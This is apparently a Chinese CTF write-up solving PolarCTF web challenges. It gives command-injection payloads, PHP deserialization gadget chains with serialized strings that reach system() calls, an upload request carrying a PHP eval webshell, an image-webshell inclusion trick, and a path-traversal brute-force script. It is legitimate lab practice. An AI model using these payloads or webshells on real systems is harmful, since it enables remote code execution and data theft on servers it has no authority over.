0x01 前言
还挺多的
0x02 question
EZ_Host
进入之后很明显啊,一个命令注入
1
| /?host=127.0.0.1;tac%20f*
|
序列一下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
| <?php
class Polar{
public $url = 'polarctf.com';
public $lt;
public $b;
function __destruct()
{
$a = $this->lt;
$a($this->b);
}
}
unserialize($_POST['x']);
highlight_file(__FILE__);
?>
|
很简单的反序列化但是中途eval这边不行然后调试了一下下
1
2
3
4
5
6
7
8
| <?php
class Polar{
public $url = 'polarctf.com';
public $lt='system';
//public $b='whoami';
public $b='tac /f*';
}
echo serialize(new Polar());
|
vm50给你flag
1
2
3
4
5
6
7
8
9
10
| <?php
include 'funs.php';
highlight_file(__FILE__);
if (isset($_GET['file'])) {
if (myWaf($_GET['file'])) {
include($_GET['file']);
} else {
unserialize($_GET['data']);
}
}
|
很明显进行任意文件读取
1
| ?file=php://filter/convert.base64-encode/resource=funs.php
|
同时肯定又是一个序列化
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
| <?php
include 'f1@g.php';
function myWaf($data)
{
if (preg_match("/f1@g/i", $data)) {
echo "NONONONON0!";
return FALSE;
} else {
return TRUE;
}
}
class A
{
private $a;
public function __destruct()
{
echo "A->" . $this->a . "destruct!";
}
}
class B
{
private $b = array();
public function __toString()
{
$str_array= $this->b;
$str2 = $str_array['kfc']->vm50;
return "Crazy Thursday".$str2;
}
}
class C{
private $c = array();
public function __get($kfc){
global $flag;
$f = $this->c[$kfc];
var_dump($$f);
}
}
|
1
| A::destruct->B::toString->C::get
|
这个还是挺有意思,首先访问vm50
这个属性要不存在也就是我们不要在B里面赋值,然后
var_dump($$f);
这里我们就需要把$kfc
里面还赋值一层数组(看个demo
就知道了)
1
2
3
4
5
| <?php
$c=array("vm50"=>"flag");
$a=array("kfc"=>$c);
$f=c[$kfc];
var_dump($$f);
|
所以触发get
也是由于访问不到触发的,而不是不存在
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
| <?php
class A
{
public $a;
}
class B
{
public $b;
}
class C{
public $c;
}
$a=new A();
$a->a=new B();
$c=new C();
$c->c=array("vm50"=>"flag");
$a->a->b=array("kfc"=>$c);
echo serialize($a);
|
1
| ?file=f1@g&data=O:1:"A":1:{s:1:"a";O:1:"B":1:{s:1:"b";a:1:{s:3:"kfc";O:1:"C":1:{s:1:"c";a:1:{s:4:"vm50";s:4:"flag";}}}}}
|
Deserialize
访问这个/hidden/hidden.php
,又是一个反序列化
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
| <?php
class Token {
public $id;
public $secret;
public function __construct($id, $secret) {
$this->id = $id;
$this->secret = $secret;
}
public function generateToken() {
return "Token for {$this->id}";
}
}
class User {
public $name;
public $isAdmin = false;
public $token;
public function __construct($name, $isAdmin, Token $token) {
$this->name = $name;
$this->isAdmin = $isAdmin;
$this->token = $token;
}
public function getInfo() {
return "{$this->name} is " . ($this->isAdmin ? "an admin" : "not an admin");
}
}
class Product {
public $productName;
public $price;
public function __construct($productName, $price) {
$this->productName = $productName;
$this->price = $price;
}
public function displayProduct() {
return "Product: {$this->productName}, Price: {$this->price}";
}
}
if (isset($_GET['data'])) {
$data = $_GET['data'];
$user = unserialize($data);
if ($user instanceof User) {
echo $user->getInfo() . "<br>";
echo "Token: " . $user->token->generateToken() . "<br>";
echo "Product: " . $user->token->product->displayProduct() . "<br>";
if ($user->isAdmin) {
echo "Here is your flag: " . file_get_contents('/flag');
} else {
echo "You are not admin!";
}
} else {
echo "Invalid user data.";
}
} else {
highlight_file(__FILE__);
}
?>
|
这个没有链子,但是最后的会引导你进行写类和触发什么的
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
| <?php
class Token{
public $id;
public $secret;
}
class User{
public $name;
public $isAdmin=true;
public $token;
}
class Product{
public $productName;
public $price;
}
$a=new User();
$a->name="bao";
$a->token=new Token();
$a->token->id=1;
$a->token->product=new Product();
echo serialize($a);
|
1
| /hidden/hidden.php?data=O:4:"User":3:{s:4:"name";s:3:"bao";s:7:"isAdmin";b:1;s:5:"token";O:5:"Token":3:{s:2:"id";i:1;s:6:"secret";N;s:7:"product";O:7:"Product":2:{s:11:"productName";N;s:5:"price";N;}}}
|
传马
看到是阿帕奇但是说了只能用图片那就伪装一下先,等会不行再传.htaccess
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
| POST / HTTP/1.1
Host: d020ad56-fb0d-4941-aad1-eb1857be5c29.www.polarctf.com:8090
Content-Length: 424
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://d020ad56-fb0d-4941-aad1-eb1857be5c29.www.polarctf.com:8090
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarytr2beHroL6swRl2s
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://d020ad56-fb0d-4941-aad1-eb1857be5c29.www.polarctf.com:8090/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
------WebKitFormBoundarytr2beHroL6swRl2s
Content-Disposition: form-data; name="upload_file"; filename="3.php"
Content-Type: image/png
<?=eval($_GET[a]);?>
------WebKitFormBoundarytr2beHroL6swRl2s
Content-Disposition: form-data; name="submit"
上传
------WebKitFormBoundarytr2beHroL6swRl2s--
|
1
| /upload/3.php?a=echo `tac /f*`;
|
欧克比想象中简单
bllbl_ser1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
| <?php
class bllbl
{
public $qiang; // 我的强
function __destruct()
{
$this->bllliang();
}
function bllliang()
{
$this->qiang->close();
}
}
class bllnbnl
{
public $er; // 我的儿
function close()
{
eval($this->er);
}
}
if (isset($_GET['blljl'])) {
$user_data = unserialize($_GET['blljl']);
}
|
没啥好说的
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
| <?php
class bllbl
{
public $qiang; // 我的强
}
class bllnbnl
{
public $er; // 我的儿
}
$a=new bllbl();
$a->qiang=new bllnbnl();
$a->qiang->er="system('tac /f*');";
echo serialize($a);
|
回显在源码里面
投喂
翻译一下就知道了
1
2
3
4
5
6
7
| <?php
class User{
public $username="bao";
public $is_admin=true;
}
$a=new User();
echo serialize($a);
|
rapyiquan
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
| <?php
error_reporting(0);
highlight_file(__FILE__);
header('content-type:text/html;charset=utf-8');
$url = $_SERVER['REQUEST_URI'];
function checkUrlParams($params) {
if (strpos($params, '_') !== false) {
return false;
}
return true;
}
if(checkUrlParams($url)){
$cmd=$_GET['c_md'];
if (preg_match("/ls|dir|flag|type|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("badly!");
} else {
echo `$cmd`;
}
}else{
echo "$url";
echo "<br>";
echo "Hack";
}
|
反斜杠绕过就可以了
1ncIud3
说的是要替换,现在是可以任意文件读取了
而且貌似这个../
被过滤了,那么双写绕过
然后写个脚本(人机写的)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
| import requests
from itertools import product
import time
# 定义字符替换规则
replace_list = {
'f': [ 'f', '4','F'],
'l': ['1', 'I', 'L', 'i','l'],
'a': ['@', '2', '3', '4','a'],
'g': ['g', '9', 'G', '3', '6']
}
# 目标字符串
target = "flag"
# 生成所有可能的组合
def generate_combinations(target, replace_list):
# 将目标字符串拆分成字符列表
chars = list(target)
# 生成每个字符的所有可能替换
replacements = []
for char in chars:
if char in replace_list:
replacements.append(replace_list[char])
else:
replacements.append([char])
# 使用 itertools.product 生成所有可能的组合
combinations = [''.join(combination) for combination in product(*replacements)]
return combinations
# 生成所有可能的组合
combinations = generate_combinations(target, replace_list)
# 目标 URL
url = "http://b0fb50b6-d341-4be9-ac28-5e346250d721.www.polarctf.com:8090/" # 替换为实际的 API URL
# 发送请求
for combination in combinations:
params = {"page": "..././..././"+combination}
response = requests.get(url, params=params)
time.sleep(0.1)
# 打印响应
print(f"Sent: {combination}")
print(f"Response: {response.status_code} {response.text}")
# 如果响应中包含特定的内容,可以停止发送请求
if "flag" in response.text:
print(f"Found special response with combination: {combination}")
break
|
自己稍微改改字典
笑傲上传
直接传不行了,那么就插入了,随便截一张图然后用010写进去就行
查看源码发现有地方可以包含,检查拿到路径
进行RCE
1
| /upload/1820240922085407.png
|
emm,怎么和想象中不一样那就只能用虚拟机合成了
1
| cat m.png m.php > a.png
|
上传成功之后发现了问题,我还是找不到木马,后来发现是路径错了,那么也就是说010插入的方法是可行的
1
2
3
4
| http://e4f57176-9819-4beb-b68e-6c176a1eeb9e.www.polarctf.com:8090/include.php?file=/var/www/html/upload/3120240922091401.png
POST
a=echo `tac /f*`;
|
SnakeYaml
这玩意不会,给个官方脚本吧
CC6打spring内存马
一写一个不吱声
依然是不会呜呜
0x03 小结
其他的都还好,这里的序列化比较多,也挺新颖,至少之前没见过这么触发,java得整起来了